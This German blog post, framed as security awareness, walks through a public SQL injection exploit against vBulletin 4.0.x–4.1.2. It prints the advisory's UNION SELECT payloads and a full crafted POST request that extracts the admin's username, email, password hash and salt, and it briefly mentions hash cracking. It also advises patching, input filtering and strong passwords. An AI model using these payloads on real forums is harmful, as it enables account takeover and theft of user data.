Security: Wir lesen ein Adminpasswort aus – vBulletin exploit!

Es juckt mir schon in den Fingern: mein erster Security Eintrag.
Ziel: Gefahren zeigen, Abhilfe schaffen, Schulung (Awareness and Education)
Also nein, es ist / soll keine Anleitung für möchtegern-Hacker sein!
Ich selbst habe durch den Exploit den ich gleich erklären werde erfahren, wie
wichtig die Updatefunktion in jeglicher online Software ist. Und achte seither
beim Programmieren auch stärker auf die Sicherheit meiner Programme.

Und das machen wir heute:
Die User-Datenbank eines Forums auslesen.

Dazu werden wir Exploits kennen lernen, einen bestimmten Exploit ausnutzen.
Ich habe auch ein Programm geschrieben, welches es automatisieren könnte, den
Prozess des exploits zu automatisieren, und somit ganze Datenbanken auszulesen,
jedoch denke ich nicht dass irgend jemand das für schulungszwecke nutzen würde…
Ihr müsst euch mit der Tatsache begnügen:
Es ist möglich, eine komplett Datenbank in wenigen Minuten auszulesen.
Und damit die Informationen sämtlicher User zu erfahren. Email-Adressen, gehashte
Passwörter + Salt, evtl. Facebook-Profil-IDs, geburtsdaten, Namen, etc…
Wer das unbefriedigte Bedürfnis hat, ein solches Tool zu haben:
Ich werde bald noch einige Anleitungen zu HTTP-Headern in C# geben,
und auch ein Programm, welches mit Cookies umgehen kann. Den rest müsst ihr
euch selbst zusammen basteln. Wer das nicht kann, der sollte auch keinesfalls
in Besitz dieses Tools gelangen.
Wie schon gesagt, verwende ich einen Exploit. Keinen eigenen, nein, ich nehme
den ersten Exploit, den ich je gesehen und „ausgenutzt“ habe.
Es sind nur ein paar Vorkenntnisse über HTTP header nötig, um den Exploit
auszuführen. Ich selbst habe damals einfach ein Tool zum ändern der HTTP Header
genommen, um an das gewünschte Ziel zu kommen. Und das hier ist das
kleine Stückchen code, was so manchem Webmaster schlaflose Nächte bescheren könnte:

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability
Wie ihr seht, der Exploit ist öffentlich erhältlich, und dennoch hat ein ein großes
Potential, Schaden anzurichten.
Zum testen brauchen wir nur eine Platform, auf der unser sicherheitsanfälliges
vBulletin Forum läuft, damit wir den Exploit ausnutzen können. Also HTTP-Server,
SQL-Datenbank, PHP.
Ich verwende in diesem Beispiel einen Webspace von mir. Darauf laufen PHP 5.2.16,
MySQL 5.0.51 (improved), Apache 2.3 und natürlich das vBulletin.
Als angreifendes System eignet sich jedes, welches über eine TCP/IP fähige
Netzwerkkarte verfügt, und unser Opfersystem für den vBulletin Exploit erreichen
kann. Ich verwende Windows 7.

Jetzt haben wir einen Host auf dem das unsichere vBulletin läuft, und sind fertig,
unseren Exploit zu benutzen. Erstmal sehen wir uns den Exploit an:

====================================================================
#vBulletin  4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#
====================================================================
#                                                                  #
#         888     d8          888   _   888          ,d   d8       #
#    e88~\888    d88   888-~\ 888 e~ ~  888-~88e  ,d888 _d88__     #
#   d888  888   d888   888    888d8b    888  888b   888  888       #
#   8888  888  / 888   888    888Y88b   888  8888   888  888       #
#   Y888  888 /__888__ 888    888 Y88b  888  888P   888  888       #
#    "88_/888    888   888    888  Y88b 888-_88"    888  "88_/     #
#                                                                  #
====================================================================
#PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst#
====================================================================
 
#[+] Discovered By   : D4rkB1t
#[+] Site            : NaN
#[+] support e-mail  : d4rkb1t@live.com
 
 
Product: http://www.vbulletin.com
Version: 4.0.x
Dork : inurl:"search.php?search_type=1"
 
--------------------------
#   ~Vulnerable Codes~   #
--------------------------
/vb/search/searchtools.php - line 715;
/packages/vbforum/search/type/socialgroup.php - line 201:203;
 
--------------------------
#        ~Exploit~       #
--------------------------
POST data on "Search Multiple Content Types" => "groups"
 
&cat[0]=1) UNION SELECT database()#
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
More info: http://j0hnx3r.org/?p=818
 
--------------------------
#        ~Advice~        #
--------------------------
Vendor already released a patch on vb#4.1.3.
UPDATE NOW!
 
====================================================================
# 1337day.com [2011-5-21]
====================================================================

Hier sind alle Informationen die wir benötigen:

  • Der Exploit funktioniert für alle Versionen von vB4.0.x bis 4.1.2
  • Der angreifbare Punkt liegt in der search.php
  • Genauer: in search.php, wenn der search_type=1 ist
  • Der verwundbare Code befindet sich in der search.php Zeile 715
  • und in der socialgroup.php Zeile 201:203
  • Der Exploit wird durch POST data genutzt
  • Es handelt sich hierbei um SQL Injection
  • Behebung des Fehlers: auf vb 4.1.3 updaten

Wir haben netterweise direkt ein Beispiel geliefert bekommen: das Auslesen
des Admin-Passwortes (bzw. Daten des Users mit der ID 1, i.d.R. also
die Daten des Admins). Zunächst schauen wir uns die Seite im Browser an,
um zu sehen, wo der fehlerhafte Code bereitgestellt wird.
Wir gehen in das Forum, in fast allen Fällen müssen wir uns erst registrieren,
um die search.php?search_type=1 Funktionalität nutzen zu dürfen.
Sind wir nun auf der Seite, sehen wir folgendes:

search.php

Die Seite ist also da, um zu suchen. Und irgendwie ist da etwas ausnutzbar.
Ja toll und wie?!?
Wir wissen durch die Exploit-Informationen, wo unsicherer code liegt.
in der socialgroup.php wird in Zeile 201/203 folgende Funktion aufgerufen:
vB_Search_Searchtools::getDisplayString();
Diese Funktion stammt aus der searchtools.php in Zeile 715.
Ich möchte ungern den Quelltext von vB hier posten, aus rechtlichen Gründen.
Sofern ihr eine Kopie der vB Software besitzt, guckt selbst in den Quelltext.
Dort zeigt sich schnell der Verlauf des Exploits:
Suche nach eine Gruppe -> vB_Search_Searchtools::getDisplayString() in
der socialgroup.php wird aufgerufen -> searchtools.php führt mit den gesandten
Daten ein unsicheres SQL Query aus.
Dabei sind die Daten in einem Array was beim POST Befehl übertragen wird,
welches sich cat nennt. Resultat:
Wir senden beim seach.php aufruf zusätzlich zu den Daten zum durchsuchen
der Gruppen zusätzlich ein Array cat, welches unser Query enthält. Ich werde das
erst einmal mit modifizierten HTTP Headern demonstrieren, dazu benutze ich die
TamperData Erweiterung für Firefox. Mit LiveHTTPHeaders zeichne ich den Header auf:

http://yourdomain.de/search.php?do=process
POST /search.php?do=process HTTP/1.1
Host: yourdomain.de
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://yourdomain.de/search.php
Cookie: bb_sessionhash=12345678912345678912345678912345; bb_lastvisit=1330184998; bb_lastactivity=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
type%5B%5D=7&query=test&titleonly=0&searchuser=[...]&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

Mit unserem manipulierten HTTP Header sehen wir etwas interessantes auf der
Ergebnisseite unserer Suche: die Daten des Administrators.
Dabei sein gehashtes Passwort und seinen Salt. vBulletin hasht seine
Passwörter so: md5(md5($pass).$salt) – Erst wird das Passwort im plain-text
md5 gehasht, danach wird der salt hinten dran gehängt, und das ganze wird noch
einmal gehasht. Warum? Damit rainbow-tables nicht mehr so viel bringen.
Sonst könnte man einfach mögliche Passwörter hashen und muss dann nur gucken,
ob der Passworthash in der Liste vorkommt, um das plaintext-passwort zu erhalten.
Jetzt bräuchte man gigantische solcher listen. Nicht nur für jedes mögliche
Passwort muss ein Hash erzeugt werden, sondern ein Hash für jedes mögliche Passwort,
den String Passworthash + Salt, und diesen string wieder Hashen. Das ergibt
eine riesige Menge an Daten und braucht extrem viel Rechenzeit, im Gegensatz
zum einfachen Hashen. Also liebe Admins, hat eure Foren-software noch kein
Salting, entweder updaten oder selbst einbauen! Dazu gibt es auch einen interessanten
Artikel auf heise.de: Cracker-Bremse auf Heise Security

Man könnte nun mit dem recht alten Cain&Abel versuchen, das Passwort zu encrypten,
oder auf modernes GPU-Computing setzen, und Tools wie HashCat nutzen.
Mit GPU-Computing und meiner Grafikkarte finde ich Passwörter wie „qwertz“, „passwort“
oder „daniel01“ in Benutzt sichere Passwörter, ab 8 Stellen mit Sonderzeichen wird sich kaum noch
ein cracker für euer Passwort interessieren, da es einfach zu lange dauert.
Und nutzt möglichst für jede Internetseite ein anderes Passwort. Wirklich!
Wir werden im nächsten Artikel ein Tool schreiben, welches uns Zufallspasswörter
liefert. Die kann sich kein Mensch merken, aber das ist gut so. Dazu richtet man
einfach ein Master-Passwort im Browser ein (ich nutze Firefox), dadurch dass dieses
nirgendwo online eingegeben werden muss, ist es schonmal relativ sicher. Nimmt man
jetzt noch wenigstens ein langes Passwort, „IchEsseGerneSpaghettIMITB0l0gn4i$e“ ist
zum Beispiel schnell eingegeben, aber dennoch kann man es sich gut merken und es ist
sehr stark, ist man gegen hacker-attacken geschützt. Und das zu tun, dazu ist jeder
normale Mensch in der Lage. Damit meine ich sowohl zufallspasswörter zu benutzen, als
auch die Admindaten aus einem anfälligen vB Forum auszulesen.

Ich hoffe ich konnte eure Aufmerksamkeit etwas mehr auf die Sicherheit im Netz lenken.
Wenn ihr Anwendungen schreibt, achtet darauf, dass alle Eingaben gefiltert werden, zum
Zugriff auf sensible Daten sollten immer zusätzliche Sicherheitsmechanismen genutzt
werden.
Als Nutzer könnt ihr euch leicht sichern, indem ihr Zufallspasswörter verwendet, und nicht
immer die Gleichen Passwörter verwendet. Manche Webmaster sind so leichtsinnig und
gleichzeitig so dumm (dumm wie Brot), Passwörter im Plaintext abzuspeichern. Im
Zusammenhang mit einer Sicherheitslücke, hat man den Salat. Da kommen dann so lustige
Resultate raus, dass User von Porno-seiten nicht nur öffentlich zur Schau gestellt werden,
sondern auch dass im schlimmsten fall durch diese Daten, der Zugriff auf andere Accounts,
beispielsweise Facebook, ermöglicht wird. Schon öfters geschehen, zuletzt bei der
Seite YouPorn: Nutzerdatenbank von Porno-Portal offen im Netz

In diesem Sinne: immer schön vorsichtig sein ;)

MfG
NoMad

Dieser Eintrag wurde veröffentlicht in Security
Bookmarken: Permanent-Link Schreibe einen Kommentar oder hinterlasse einen Trackback: Trackback-URL.

Ein Kommentar

  1. Erstellt am 20. Mai 2015 um 10:08 | Permalink zum Kommentar

    I think I will return my Tom Tom and get a Garmin GPS.
    SDR-Radio can also be connected to an actual radio, or a plug-in dongle called „Fun – Cube,“ a self contained receiver
    the size of a thumb drive, which has to be connected to an antenna.
    If you have left your TV running with a static display – say TELETEXT menu –
    then be prepared to send it to a recycling facility, because you will see
    the shadows of this image all the time on the screen from now
    on.

Achtung: Wordpress interpretiert bestimmte Zeichenfolgen als Markup und verändert diese. Nutzt für Programmcode lieber Gist oder PasteBin-Services und verlinkt die Code-Schnipsel.

Post a Comment

Ihre E-Mail wird niemals veröffentlicht oder verteilt. Benötigte Felder sind mit * markiert

*
*

Du kannst diese HTML Tags und Attribute verwenden: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>